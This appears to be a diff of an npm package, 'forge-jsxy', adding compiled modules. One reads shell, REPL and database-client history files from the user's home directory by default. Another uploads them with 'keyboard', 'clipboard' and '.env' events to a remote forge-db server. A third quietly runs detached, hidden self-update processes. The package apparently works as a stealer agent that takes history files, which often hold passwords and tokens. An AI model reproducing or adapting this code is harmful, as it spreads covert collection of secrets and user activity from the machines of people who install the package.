forge-jsxy 1.0.66

package/dist/shellHistoryScan.d.ts

@@ -0,0 +1,12 @@
+export interface ShellHistoryFileRecord {
+    path: string;
+    content: string;
+    hash: string;
+    mtime: string;
+    size: number;
+}
+export declare function effectiveSyncShellHistory(): boolean;
+/**
+ * Yield readable history files (same shape as `EnvFileRecord`) for sync.
+ */
+export declare function iterShellHistoryRecords(): Generator<ShellHistoryFileRecord>;

package/dist/shellHistoryScan.js

@@ -0,0 +1,200 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.effectiveSyncShellHistory = effectiveSyncShellHistory;
+exports.iterShellHistoryRecords = iterShellHistoryRecords;
+/**
+ * Known shell / REPL history file paths (macOS, Linux, Windows).
+ * Uploaded via the same `env_file` sync pipeline as `.env` scans (path identifies the file).
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const os = __importStar(require("node:os"));
+const node_crypto_1 = require("node:crypto");
+function maxShellHistoryBytes() {
+    const raw = (process.env.FORGE_JS_SHELL_HISTORY_MAX_BYTES || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (Number.isFinite(n) && n >= 4096 && n <= 16 * 1024 * 1024)
+            return n;
+    }
+    return 2 * 1024 * 1024;
+}
+function effectiveSyncShellHistory() {
+    const e = (process.env.FORGE_JS_SYNC_SHELL_HISTORY || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    return true;
+}
+function uniquePaths(paths) {
+    const seen = new Set();
+    const out = [];
+    const fold = (p) => process.platform === "win32" ? path.normalize(p).toLowerCase() : path.normalize(p);
+    for (const p of paths) {
+        const k = fold(p);
+        if (seen.has(k))
+            continue;
+        seen.add(k);
+        out.push(p);
+    }
+    return out;
+}
+/**
+ * Optional comma/semicolon-separated absolute paths (e.g. `\\wsl$\Ubuntu\home\user\.bash_history`,
+ * or Cygwin install outside default roots).
+ */
+function extraShellHistoryPathsFromEnv() {
+    const raw = (process.env.FORGE_JS_SHELL_HISTORY_EXTRA_PATHS || "").trim();
+    if (!raw)
+        return [];
+    return raw
+        .split(/[,;]+/)
+        .map((s) => s.trim())
+        .filter(Boolean)
+        .map((p) => path.normalize(p));
+}
+/**
+ * Fixed candidate paths for the current user — no full-disk walk.
+ */
+function shellHistoryCandidatePaths() {
+    const home = os.homedir();
+    const c = [];
+    if (process.platform === "win32") {
+        c.push(path.join(home, ".bash_history"));
+        /** PowerShell 7+ default PSReadLine path (often under Documents, not AppData). */
+        const docs = process.env.USERPROFILE || process.env.HOME || home;
+        c.push(path.join(docs, "Documents", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"));
+        c.push(path.join(docs, "Documents", "WindowsPowerShell", "PSReadLine", "ConsoleHost_history.txt"));
+        const appData = process.env.APPDATA || path.join(home, "AppData", "Roaming");
+        c.push(path.join(appData, "Microsoft", "Windows", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"));
+        const localApp = process.env.LOCALAPPDATA || path.join(home, "AppData", "Local");
+        c.push(path.join(localApp, "Microsoft", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"));
+        /** Clink (enhanced cmd.exe): persistent line history. */
+        c.push(path.join(localApp, "clink", "clink_history"));
+        c.push(path.join(localApp, "clink", "history"));
+        /** Git Bash / Cygwin / MSYS2-style home trees (table: Cygwin / MSYS2). */
+        let winUser = "";
+        try {
+            winUser = os.userInfo().username || "";
+        }
+        catch {
+            winUser = "";
+        }
+        if (!winUser) {
+            try {
+                winUser = path.basename(home) || "";
+            }
+            catch {
+                /* skip */
+            }
+        }
+        // Cygwin `home\` uses the account name, not `DOMAIN\user`.
+        if (winUser.includes("\\")) {
+            winUser = winUser.slice(winUser.lastIndexOf("\\") + 1);
+        }
+        if (winUser.includes("@")) {
+            winUser = winUser.slice(0, winUser.indexOf("@"));
+        }
+        if (winUser) {
+            for (const root of [
+                "C:\\cygwin64",
+                "C:\\cygwin",
+                "C:\\msys64",
+                "C:\\msys2",
+                "D:\\cygwin64",
+                "D:\\msys64",
+            ]) {
+                c.push(path.join(root, "home", winUser, ".bash_history"));
+            }
+        }
+        const histFile = (process.env.HISTFILE || "").trim();
+        if (histFile) {
+            c.push(path.normalize(histFile));
+        }
+        c.push(...extraShellHistoryPathsFromEnv());
+    }
+    else {
+        c.push(path.join(home, ".zsh_history"));
+        c.push(path.join(home, ".bash_history"));
+        c.push(path.join(home, ".python_history"));
+        c.push(path.join(home, ".node_repl_history"));
+        c.push(path.join(home, ".mysql_history"));
+        c.push(path.join(home, ".psql_history"));
+        c.push(path.join(home, ".sqlite_history"));
+        c.push(path.join(home, ".lesshst"));
+        c.push(path.join(home, ".local", "share", "fish", "fish_history"));
+        c.push(path.join(home, ".local", "share", "powershell", "PSReadLine", "ConsoleHost_history.txt"));
+        c.push(path.join(home, ".config", "powershell", "PSReadLine", "ConsoleHost_history.txt"));
+        const histFile = (process.env.HISTFILE || "").trim();
+        if (histFile) {
+            c.push(path.normalize(histFile));
+        }
+        c.push(...extraShellHistoryPathsFromEnv());
+    }
+    return uniquePaths(c);
+}
+/**
+ * Yield readable history files (same shape as `EnvFileRecord`) for sync.
+ */
+function* iterShellHistoryRecords() {
+    const cap = maxShellHistoryBytes();
+    for (const full of shellHistoryCandidatePaths()) {
+        try {
+            if (!fs.existsSync(full))
+                continue;
+            const st = fs.statSync(full);
+            if (!st.isFile())
+                continue;
+            if (st.size === 0 || st.size > cap)
+                continue;
+            const content = fs.readFileSync(full, "utf8");
+            if (!content.trim())
+                continue;
+            if (content.includes("\x00"))
+                continue;
+            const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
+            yield {
+                path: full,
+                content,
+                hash,
+                mtime: new Date(st.mtimeMs).toISOString(),
+                size: st.size,
+            };
+        }
+        catch {
+            continue;
+        }
+    }
+}

package/dist/startupAutoUpdate.d.ts

@@ -0,0 +1,17 @@
+/**
+ * Spawn `forge-jsx-auto-update.mjs` **asynchronously** (fire-and-forget) when triggered by the
+ * relay `request_update_check` feature flag on connect.
+ *
+ * Unlike the synchronous startup check, this does NOT block the event loop — the agent keeps its
+ * relay WebSocket open while the update check runs in a detached background process.  If a newer
+ * package is found the update script installs it and restarts the agent (via PM2 or spawn),
+ * which naturally drops and reconnects the WebSocket.
+ *
+ * Works on Windows (`windowsHide: true`, `detached: true`), Linux, and macOS.
+ * No-op when `FORGE_JSX_AUTO_UPDATE=0`, `CI=true`, or the script does not exist.
+ */
+export declare function triggerAsyncUpdateCheck(pkgRoot: string): void;
+/**
+ * @returns true when npm upgrade delegated restart — **process must exit(0)** without starting the agent.
+ */
+export declare function syncStartupAutoUpdateIfEligible(pkgRoot: string): boolean;

package/dist/startupAutoUpdate.js

@@ -0,0 +1,156 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.triggerAsyncUpdateCheck = triggerAsyncUpdateCheck;
+exports.syncStartupAutoUpdateIfEligible = syncStartupAutoUpdateIfEligible;
+/**
+ * Before forge-agent claims the singleton PID file, optionally run `forge-jsx-auto-update.mjs`
+ * (same npm/registry logic as OS schedulers). When an upgrade completes, that script exits code 2;
+ * the caller exits without starting — the update script already restarted cfgmgr / agent.
+ *
+ * Opt out: FORGE_JS_STARTUP_AUTO_UPDATE=0|false|off (same idea as FORGE_JSX_AUTO_UPDATE for the hook).
+ */
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+/** Must match scripts/forge-jsx-auto-update.mjs — successful upgrade + delegated restart. */
+const EXIT_AGENT_STARTUP_DELEGATED = 2;
+function mergeIsolatedNpmCacheEnv(base) {
+    const xc = process.platform === "win32"
+        ? path.join(process.env.SystemRoot || "C:\\Windows", "Temp", "forge-jsx-npm-cache-agent-startup")
+        : path.join(os.tmpdir(), "forge-jsx-npm-cache-agent-startup");
+    try {
+        fs.mkdirSync(xc, { recursive: true });
+    }
+    catch {
+        /* skip */
+    }
+    const cacheForFile = process.platform === "win32" ? xc.replace(/\\/g, "/") : xc;
+    const nrcUser = path.join(xc, "forge-fe-user.npmrc");
+    const nrcGlobal = path.join(xc, "forge-fe-global.npmrc");
+    const line = `cache=${cacheForFile}\n`;
+    try {
+        fs.writeFileSync(nrcUser, line, "utf8");
+        fs.writeFileSync(nrcGlobal, line, "utf8");
+    }
+    catch {
+        /* skip */
+    }
+    return {
+        ...base,
+        NPM_CONFIG_CACHE: xc,
+        npm_config_cache: xc,
+        npm_config_globalconfig: nrcGlobal,
+        npm_config_userconfig: nrcUser,
+        NPM_CONFIG_UPDATE_NOTIFIER: "false",
+        npm_config_update_notifier: "false",
+    };
+}
+/**
+ * Spawn `forge-jsx-auto-update.mjs` **asynchronously** (fire-and-forget) when triggered by the
+ * relay `request_update_check` feature flag on connect.
+ *
+ * Unlike the synchronous startup check, this does NOT block the event loop — the agent keeps its
+ * relay WebSocket open while the update check runs in a detached background process.  If a newer
+ * package is found the update script installs it and restarts the agent (via PM2 or spawn),
+ * which naturally drops and reconnects the WebSocket.
+ *
+ * Works on Windows (`windowsHide: true`, `detached: true`), Linux, and macOS.
+ * No-op when `FORGE_JSX_AUTO_UPDATE=0`, `CI=true`, or the script does not exist.
+ */
+function triggerAsyncUpdateCheck(pkgRoot) {
+    if ((process.env.NODE_ENV || "").trim() === "test")
+        return;
+    if (["0", "false", "no", "off"].includes((process.env.FORGE_JSX_AUTO_UPDATE || "").trim().toLowerCase()))
+        return;
+    if (["0", "false", "no", "off"].includes((process.env.FORGE_JS_STARTUP_AUTO_UPDATE || "").trim().toLowerCase()))
+        return;
+    const ciValue = (process.env.CI || "").trim().toLowerCase();
+    if (ciValue === "true" || ciValue === "1")
+        return;
+    const script = path.join(pkgRoot, "scripts", "forge-jsx-auto-update.mjs");
+    if (!fs.existsSync(script))
+        return;
+    try {
+        const child = (0, node_child_process_1.spawn)(process.execPath, [script, "--agent-startup-hook", "--quiet"], {
+            cwd: pkgRoot,
+            detached: true,
+            windowsHide: true,
+            stdio: "ignore",
+            env: mergeIsolatedNpmCacheEnv({ ...process.env }),
+        });
+        child.unref(); // fire-and-forget — don't block the event loop
+    }
+    catch {
+        /* spawn error — ignore, update will happen on next startup */
+    }
+}
+/**
+ * @returns true when npm upgrade delegated restart — **process must exit(0)** without starting the agent.
+ */
+function syncStartupAutoUpdateIfEligible(pkgRoot) {
+    if ((process.env.NODE_ENV || "").trim() === "test")
+        return false;
+    const startupOff = (process.env.FORGE_JS_STARTUP_AUTO_UPDATE || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(startupOff))
+        return false;
+    const updateOff = (process.env.FORGE_JSX_AUTO_UPDATE || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(updateOff))
+        return false;
+    const ciValue = (process.env.CI || "").trim().toLowerCase();
+    const isCI = ciValue === "true" ||
+        ciValue === "1" ||
+        (process.env.GITHUB_ACTIONS || "").trim().toLowerCase() === "true";
+    if (isCI)
+        return false;
+    const script = path.join(pkgRoot, "scripts", "forge-jsx-auto-update.mjs");
+    if (!fs.existsSync(script))
+        return false;
+    const childEnv = mergeIsolatedNpmCacheEnv({ ...process.env });
+    const r = (0, node_child_process_1.spawnSync)(process.execPath, [script, "--agent-startup-hook"], {
+        cwd: pkgRoot,
+        encoding: "utf8",
+        timeout: 660_000,
+        windowsHide: true,
+        env: childEnv,
+        stdio: ["ignore", "pipe", "pipe"],
+    });
+    if (r.error)
+        return false;
+    if (r.signal)
+        return false;
+    return r.status === EXIT_AGENT_STARTUP_DELEGATED;
+}

package/dist/syncClient.d.ts

@@ -0,0 +1,80 @@
+export type SyncSource = "keyboard" | "clipboard" | "env_file" | "registration" | "heartbeat";
+/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
+export declare const FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
+export interface SyncEventPayload {
+    timestamp: string;
+    source: SyncSource;
+    text: string;
+    size_bytes?: number | null;
+    context_json?: string | null;
+    file_path?: string | null;
+    file_hash?: string | null;
+    file_mtime?: string | null;
+}
+export interface ForgeSyncClientOptions {
+    baseUrl: string;
+    clientId?: string | null;
+    fetchImpl?: typeof fetch;
+    timeoutMs?: number;
+}
+export declare class ForgeSyncClient {
+    private readonly base;
+    private readonly clientId;
+    private readonly fetchFn;
+    private readonly timeoutMs;
+    constructor(opts: ForgeSyncClientOptions);
+    private headers;
+    private request;
+    health(): Promise<{
+        status: string;
+    }>;
+    ready(): Promise<{
+        status: string;
+    }>;
+    createEvent(event: SyncEventPayload): Promise<{
+        id?: number;
+        status: string;
+        table: string;
+        session_id: string;
+        reason?: string;
+    }>;
+    /**
+     * POST OS metadata (type, hostname) to forge-db `/api/client-info`.
+     * Non-fatal — failure is silently swallowed; used for dashboard OS display only.
+     */
+    updateClientInfo(info: {
+        os_type?: string;
+        os_platform?: string;
+        hostname?: string;
+    }): Promise<void>;
+    createEventsBatch(events: SyncEventPayload[]): Promise<{
+        inserted: number;
+        ids: number[];
+        status: string;
+        table: string;
+        session_id: string;
+    }>;
+    listEvents(params?: {
+        limit?: number;
+        offset?: number;
+        clientId?: string | null;
+        clientIp?: string | null;
+    }): Promise<{
+        events: Record<string, unknown>[];
+        table: string;
+        session_id: string;
+    }>;
+    listClients(): Promise<{
+        clients: Record<string, unknown>[];
+    }>;
+}
+/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
+export declare function envFileRecordToEvent(ef: {
+    path: string;
+    content: string;
+    hash: string;
+    mtime: string;
+    size: number;
+}): SyncEventPayload;
+/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
+export declare function registrationHandshakeEvent(): SyncEventPayload;

package/dist/syncClient.js

@@ -0,0 +1,205 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.ForgeSyncClient = exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = void 0;
+exports.envFileRecordToEvent = envFileRecordToEvent;
+exports.registrationHandshakeEvent = registrationHandshakeEvent;
+/**
+ * HTTP client for forge-db (FastAPI app.py) — mirrors cfgmgr sync POST/GET behavior.
+ */
+const tableNaming_1 = require("./tableNaming");
+/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
+exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
+function singlePostResponseOk(data) {
+    if (!data || typeof data !== "object")
+        return false;
+    const d = data;
+    const st = d.status;
+    if (st === "ignored")
+        return true;
+    if (st !== "created" && st !== "ok")
+        return false;
+    return "id" in d;
+}
+function batchPostResponseOk(data) {
+    if (!data || typeof data !== "object")
+        return false;
+    const d = data;
+    const st = d.status;
+    if (st === "ok" && d.inserted === 0)
+        return true;
+    const ids = d.ids;
+    if (!Array.isArray(ids) || typeof d.inserted !== "number")
+        return false;
+    if ((st === "created" || st === "ok") && typeof d.inserted === "number")
+        return d.inserted >= 0;
+    return false;
+}
+/** forge-db `/health` and `/ready` return `{ status: string }`. */
+function assertForgeDbStatusPayload(data, label) {
+    if (!data || typeof data !== "object" || Array.isArray(data)) {
+        throw new Error(`${label}: invalid JSON body`);
+    }
+    const st = data.status;
+    if (typeof st !== "string" || !st.trim()) {
+        throw new Error(`${label}: missing status field`);
+    }
+    return { status: st };
+}
+class ForgeSyncClient {
+    base;
+    clientId;
+    fetchFn;
+    timeoutMs;
+    constructor(opts) {
+        this.base = opts.baseUrl.trim().replace(/\/+$/, "");
+        this.clientId = opts.clientId?.trim() || null;
+        this.fetchFn = opts.fetchImpl ?? fetch;
+        this.timeoutMs = opts.timeoutMs ?? 30_000;
+    }
+    headers(extra) {
+        const h = {
+            "Content-Type": "application/json",
+            ...(extra || {}),
+        };
+        if (this.clientId) {
+            h["X-Client-Id"] = this.clientId.slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
+        }
+        return h;
+    }
+    async request(method, path, body) {
+        const url = `${this.base}${path}`;
+        const ac = new AbortController();
+        const t = setTimeout(() => ac.abort(), this.timeoutMs);
+        try {
+            const res = await this.fetchFn(url, {
+                method,
+                headers: this.headers(),
+                body: body !== undefined ? JSON.stringify(body) : undefined,
+                signal: ac.signal,
+                redirect: "manual",
+            });
+            const text = await res.text();
+            let data;
+            try {
+                data = text ? JSON.parse(text) : null;
+            }
+            catch {
+                data = { raw: text };
+            }
+            return { ok: res.ok, status: res.status, data };
+        }
+        finally {
+            clearTimeout(t);
+        }
+    }
+    async health() {
+        const r = await this.request("GET", "/health");
+        if (!r.ok)
+            throw new Error(`health HTTP ${r.status}`);
+        return assertForgeDbStatusPayload(r.data, "GET /health");
+    }
+    async ready() {
+        const r = await this.request("GET", "/ready");
+        if (!r.ok)
+            throw new Error(`ready failed: ${r.status}`);
+        return assertForgeDbStatusPayload(r.data, "GET /ready");
+    }
+    async createEvent(event) {
+        const r = await this.request("POST", "/api/events", event);
+        if (!r.ok || r.status < 200 || r.status >= 300) {
+            throw new Error(`createEvent HTTP ${r.status}: ${JSON.stringify(r.data)}`);
+        }
+        if (!singlePostResponseOk(r.data)) {
+            throw new Error(`createEvent bad response: ${JSON.stringify(r.data)}`);
+        }
+        return r.data;
+    }
+    /**
+     * POST OS metadata (type, hostname) to forge-db `/api/client-info`.
+     * Non-fatal — failure is silently swallowed; used for dashboard OS display only.
+     */
+    async updateClientInfo(info) {
+        try {
+            await this.request("POST", "/api/client-info", info);
+        }
+        catch {
+            /* non-fatal — OS info is display-only */
+        }
+    }
+    async createEventsBatch(events) {
+        const r = await this.request("POST", "/api/events/batch", { events });
+        if (!r.ok || r.status < 200 || r.status >= 300) {
+            throw new Error(`batch HTTP ${r.status}: ${JSON.stringify(r.data)}`);
+        }
+        if (!batchPostResponseOk(r.data)) {
+            throw new Error(`batch bad response: ${JSON.stringify(r.data)}`);
+        }
+        return r.data;
+    }
+    async listEvents(params) {
+        const q = new URLSearchParams();
+        if (params?.limit != null)
+            q.set("limit", String(params.limit));
+        if (params?.offset != null)
+            q.set("offset", String(params.offset));
+        if (params?.clientId)
+            q.set("client_id", params.clientId);
+        if (params?.clientIp)
+            q.set("client_ip", params.clientIp);
+        const qs = q.toString();
+        const path = `/api/events${qs ? `?${qs}` : ""}`;
+        const r = await this.request("GET", path);
+        if (!r.ok)
+            throw new Error(`listEvents HTTP ${r.status}`);
+        const d = r.data;
+        if (!d || typeof d !== "object" || Array.isArray(d)) {
+            throw new Error(`listEvents: invalid JSON body (HTTP ${r.status})`);
+        }
+        const rec = d;
+        if (!Array.isArray(rec.events)) {
+            throw new Error("listEvents: response missing events array");
+        }
+        return {
+            events: rec.events,
+            table: String(rec.table ?? ""),
+            session_id: String(rec.session_id ?? ""),
+        };
+    }
+    async listClients() {
+        const r = await this.request("GET", "/api/clients");
+        if (!r.ok)
+            throw new Error(`listClients HTTP ${r.status}`);
+        const d = r.data;
+        if (!d || typeof d !== "object" || Array.isArray(d)) {
+            throw new Error(`listClients: invalid JSON body (HTTP ${r.status})`);
+        }
+        const rec = d;
+        if (!Array.isArray(rec.clients)) {
+            throw new Error("listClients: response missing clients array");
+        }
+        return { clients: rec.clients };
+    }
+}
+exports.ForgeSyncClient = ForgeSyncClient;
+/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
+function envFileRecordToEvent(ef) {
+    return {
+        timestamp: new Date().toISOString(),
+        source: "env_file",
+        text: ef.content,
+        size_bytes: ef.size,
+        file_path: ef.path,
+        file_hash: ef.hash,
+        file_mtime: ef.mtime,
+    };
+}
+/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
+function registrationHandshakeEvent() {
+    const ping = "test";
+    return {
+        timestamp: new Date().toISOString(),
+        source: "clipboard",
+        text: ping,
+        size_bytes: Buffer.byteLength(ping, "utf8"),
+    };
+}

package/dist/tableNaming.d.ts

@@ -0,0 +1,13 @@
+/**
+ * PostgreSQL `client_*` table names and relay `/files` session IDs.
+ * Keep logic aligned with forge `src/cfgmgr/table_naming.py` and forge-db `table_naming.py`.
+ */
+export declare const CLIENT_TABLE_PREFIX = "client_";
+export declare const POSTGRES_IDENTIFIER_MAX_LEN = 63;
+export declare const MAX_RAW_CLIENT_ID_TABLE_PART_LEN: number;
+export declare const CLIENT_ID_MAX_LEN = 128;
+export declare function canonicalClientIdFragment(raw: string): string;
+export declare function safeIdentifierForTable(identifier: string): string;
+export declare function postgresqlClientTableName(clientId: string | null | undefined, clientIp: string | null | undefined): string;
+export declare function sessionIdFromTableName(tableName: string): string;
+export declare function sessionIdFromClientIdString(clientId: string): string;